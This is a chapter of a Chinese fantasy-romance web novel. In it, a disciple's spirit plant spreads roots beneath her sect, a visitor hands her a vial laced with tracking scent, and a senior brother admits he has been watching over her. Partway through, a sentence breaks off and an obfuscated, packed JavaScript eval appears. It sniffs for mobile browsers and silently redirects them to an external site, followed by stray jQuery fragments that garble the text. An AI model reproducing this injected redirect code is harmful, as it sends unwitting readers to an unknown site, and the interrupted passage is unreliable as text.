文趣网 > 其他小说 > 我和师兄才不是一对 > 15. 他看见了
    金线的旁支长到太素殿,荀杳的后颈暖得不像话。

    以前只是发痒,现在整片后颈都烫烫的像被人用手贴着。

    她走到药园门口暖意停了。她往前走了一步,暖意又重新贴上来。荀杳沉思片刻,朝相反的方向走了几十步。暖意淡了,始终悬在她后颈上方的位置。

    她在到药园右边的时候,暖意最强。

    她盯着剑峰看了三息。

    峰顶的白衣人朝她这个方向站着,荀杳朝他大喊:“你站那儿多久了?”隔得太远,声音传不过去,但她看到那人指了指天。日头升到头顶,大概辰时过半,难道他天没亮就站在那儿了?

    她笑着进了药园。

    晌午池晚在食堂占了大桌子,面前摊着三卷玉简和一摞新写的话本。池晚招手喊她:“师妹你来,给你看个东西。”

    荀杳端着碗走过去坐下。池晚把玉简推到她面前:“你昨天浇完月见灵回去,我蹲在药园外面又录了一段。”

    玉简的画面里。

    月见灵的主线缓缓蠕动,像金色的蚯蚓在泥土翻了个身,然后从主线上分出第三根旁支,伸向了东南方向。

    “那条旁支通到哪儿了?”

    “内门弟子宿舍。”

    “我今早沿着线走了一遍,第三根旁支穿过了竹林、跨过灵田钻进了内门弟子房的墙根下,最后停在了——”

    她小声说,“我床底下。”

    荀杳嘴里的饭喷出来:“你床底下?”

    “对,我穿鞋时脚底一暖,金线从地缝里钻出来绕着我脚转一圈。”池晚把裤腿撩起来给她看。

    脚踝上绕着一圈金纹,和她腿上的一模一样,只是淡了很多。

    荀杳放下碗:“它连你也绑了?”

    “不算是绑。”池晚把裤腿放下来,“它只在我那儿落了一截根,像打招呼没长实。我现在能感觉到一点你传来的暖意,很淡,不像涧禾师兄跟你绑成一根绳。”

    荀杳想了想:“它在你那儿扎根之后,你看到的东西有变化吗?”

    池晚眼睛一亮:“有。我情眼的视野扩大了,以前只能看见五十丈以内的情线,现在能看到一百丈开外了。整个太素宗的地下,纵横交错全是金色的线。你那株月见灵短短几天功夫,已经把根系铺了大半个宗门。”

    荀杳:“……大半个?”

    “它从药园出发,主根上剑峰,旁支通太素殿、然后通内门宿舍、藏经阁、食堂后厨。”池晚掰着手指数给她听。

    “你吃饭的地方就有一条线,你睡觉的床底也有。整座太素宗现在坐在一张金网上。”

    荀杳低头扒了一大口饭压惊。她想起师尊说的“整座山都甜了”,原来指的是这个意思——整座山都坐在她的根上了。

    “那它还会继续长吗?”

    “会。直到把宗门包圆为止。”池晚把玉简收好,“到时候你就是太素宗的地脉了。”荀杳感觉嘴里的饭忽然不香了。

    她就是养了一棵月见灵,怎么就养成了整座山的命脉?

    荀杳回药园的路上在山脚碰见了裴渡。他站在石阶那丛青蕊堇旁边,低头看花,动作悠然像来赏景的。荀杳放慢脚步:“裴师兄又来了?”

    裴渡笑容温润。

    “路过贵宗,来药园看看月见灵的长势。钟老前辈说你午后才回来,我就先在这儿等一会儿。”

    “裴师兄对那株苗可真上心。”

    “家师交代的,不敢怠慢。”

    裴渡从袖中取出一只小玉瓶。

    “这是正经的养灵液。宗内灵植师调配的,对月见灵有益。你可先拿给钟老验过再决定用不用。”

    荀杳接过玉瓶,玉壁里青色的液体晃荡。她收进袖袋:“多谢裴师兄。我会请钟老过目。”

    裴渡的目光从她脸上移到她脚边。荀杳顺着他的视线低头——金线从她鞋子后面探出头,像被她走路带出来的。

    裴渡看到那条线了。

    荀杳的心猛地抽紧。

    池晚能看见情线因为她有“情眼”天赋,裴渡凭什么能看到?她往前踏一步,鞋跟压住线头:“裴师兄在看什么?”

    裴渡的笑容淡了淡:“没什么,地上有只蚂蚁。”他躬身行礼,“那就不打扰师妹了,告辞。”

    荀杳拨开鞋子下方的土,那截线

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761297|209600||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    头被她踩回土里,但她知道裴渡看见了。他不仅看见了,还在那条线上停了两息,绝不是“随便一眼”的程度。

    ……

    夜里涧禾出现在药园。

    “线在动。”

    那条露头的旁支在土里轻轻蠕动,尖端反复伸缩,像在试探什么。

    “下午裴渡来了。”荀杳说,“他看到了线。”

    涧禾问:“他看到哪条了?”

    “这根旁支露出一截。”荀杳指了指刚才线头缩回去的位置,“他在我脚边盯了两息肯定看见了。”

    涧禾沉思:“我明天让师尊查他的底。”

    “他底细不会不干净,毕竟是归墟阁的人。”荀杳看着那条缩回去的线,“但他今天送来一瓶养灵液,说对月见灵的根好,那东西我还没敢动。”

    “给我。”涧禾向她伸手。

    荀杳从袖子里掏出那只玉瓶递给他。涧禾拔开木塞闻了闻,又把瓶口对着月光看了看里面的液体,然后把木塞塞回去:“有问题。”

    “什么问题?”

    “有追踪香。无色无味,涂在瓶口内壁。你倒灵液沾在手上,半个月内归墟阁的人能锁定你的行踪。”涧禾把玉瓶收进自己怀里,“我替你处理掉。”

    荀杳看着他把瓶子放进怀里,整个人都不好了:“你怎么一眼就看出来了?”

    “上次师尊让我查过归墟阁常用的手段。这种东西他们用了三百年了。”

    荀杳蹲在地上仰着头看他。

    月光把他的轮廓勾得很冷,收瓶子的动作干脆利落。

    “那你拿走了,下次他问怎么办?”

    “问就说我拿了。”涧禾低头看她,“他想要来找我。”

    荀杳嘿嘿笑出来:“行。那我就不操心了。”

    涧禾突然对着她说:“晚上线暖的时候是我在看。”

    荀杳愣了愣:“……你说什么?”

    “你后颈暖的那次,”涧禾的耳朵又开始红了,“是我在看。”然后白色背影上了石阶融进夜色。

    荀杳的后颈又暖了。

    这次暖得特别明显,她摸着发烫的脖子笑出声来。